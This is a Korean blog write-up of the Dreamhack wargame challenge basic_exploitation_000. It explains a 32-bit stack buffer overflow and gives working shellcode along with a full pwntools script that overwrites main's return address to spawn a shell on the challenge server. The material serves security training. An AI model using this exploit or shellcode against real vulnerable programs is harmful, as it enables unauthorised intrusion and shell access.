https://dreamhack.io/wargame/challenges/2
basic_exploitation_000
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f
dreamhack.io
I. 문제 개요
버퍼 오버플로우를 유발하고, main 함수의 RET 주소를 쉘코드의 주소로 바꿔침으로써, 쉘을 획득하는 문제이다.
II. 취약점 분석
1. 버퍼 오버플로우
141바이트 만큼 입력받는데, 이는 buf의 크기인 128(0x80)바이트보다 크기에, 버퍼 오버플로우를 유발한다.
스택 구조
+-----------------------------------------------------------+
| buf | SFP | RET |
| (128 byte) | (4 Byte) | (4 Byte) |
+-----------------------------------------------------------+
스택은 버퍼 128 바이트, SFP 4바이트, 반환주소(RET) 4바이트로 구성되어 있다.
문제 환경은 32비트 OS 이므로, SFP 와 반환주소는 4바이트의 크기를 가진다.
만약 64비트라면, SFP 와 반환주소의 크기는 8바이트가 될 것이다.
2. 쉘코드
문제에는 shell 실행에 필요한 함수가 없으므로, 쉘코드를 이용하여 쉘을 확보해야 한다.
쉘코드(Shellcode)란, 취약점을 이용하여 공격자가 실행하려는 코드를 의미한다.[1]
공격자들이 쉘(명령창)을 확보하기 위한 목적이다보니, "쉘"코드라는 이름이 붙었다고 한다.
3. Payload 설계
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
출처: https://mandu-mandu.tistory.com/22
쉘코드는 scanf에서 인식하는 개행문자()가 하나도 없는 26바이트 쉘코드를 이용해야 한다.
buf 영역과 SFP 영역(총 132 바이트) 중, 앞의 26바이트는 위의 쉘코드로 채워넣는다.
나머지 106(= 132 - 26)바이트는 임의의 값으로 메꿔야 한다. 이 값은 main 함수의 반환주소가 위치한 영역에 다다르기 위한 발판 역할을 수행하며, 값 자체에 특별한 의미는 없다.
그렇게 도달한 main 함수의 반환주소는 buf의 주소로 덮어쓴다.
4. 공격 방식
먼저 오버플로우가 발생함에 따라 main 함수의 반환주소를 덮어쓰게 된다.
그리고 main 함수가 반환주소로 돌아가면, 반환주소에 적은 쉘코드가 실행된다.
III. Exploitation
1. 공격 준비
from pwn import *
from pwn import p32
# 접속 정보
HOST = "host3.dreamhack.games"
PORT = 23435
p = remote(HOST, PORT) # 원격 접속
p.recvuntil('buf = (') # "buf = (" 문자열이 나올 때까지 읽어온다
buf_addr = int(p.recv(10), 16) # buf의 주소
필요한 패키지를 가져오고, 서버에 접속한다.
그리고 buf의 주소를 확보한다.
2. Payload 구성
# 쉘코드 확보
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
# 출처: https://mandu-mandu.tistory.com/22
# 106바이트 채우기
filler = b"A"*106
# main 함수의 반환주소를 buf의 주소로 변경
buf_addr_p32 = p32(buf_addr)
payload = shellcode + filler + buf_addr_p32 # 전체 payload 생성
print(payload)
맨 앞에 26바이트 쉘코드를 적은 다음, 뒤의 106바이트는 임의의 값으로 채운다.
마지막에 buf의 주소를 붙여준다.
3. Payload 전송
p.send(payload)
p.interactive()
앞서 구성한 payload를 전송학고, 쉘을 획득한다.
문제가 없다면, flag를 획득할 수 있다.
IV. 풀이 코드
from pwn import *
from pwn import p32
# 접속 정보
HOST = "host3.dreamhack.games"
PORT = 17414
p = remote(HOST, PORT) # 원격 접속
p.recvuntil('buf = (') # "buf = (" 문자열이 나올 때까지 읽어온다
buf_addr = int(p.recv(10), 16) # buf의 주소
# 쉘코드 확보
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
# 출처: https://mandu-mandu.tistory.com/22
# 106바이트 채우기
filler = b"A"*106
# main 함수의 반환주소를 buf의 주소로 변경
buf_addr_p32 = p32(buf_addr)
payload = shellcode + filler + buf_addr_p32 # 전체 payload 생성
# print(payload)
p.send(payload)
p.interactive()
V. 참고자료
[1] https://en.wikipedia.org/wiki/Shellcode
Shellcode - Wikipedia
From Wikipedia, the free encyclopedia Small piece of code used as a payload to exploit a software vulnerability "Shell code" redirects here. For code written in a shell's command language, see Shell script. "Alphanumeric executable" redirects here. For exe
en.wikipedia.org
'DreamHack' 카테고리의 다른 글
ssp_001 (1) | 2024.04.15 |
---|---|
basic_exploitation_001 (0) | 2024.04.11 |
Return Address Overwrite (0) | 2024.04.09 |
XSS-1 (0) | 2024.02.05 |
cookie (0) | 2024.01.30 |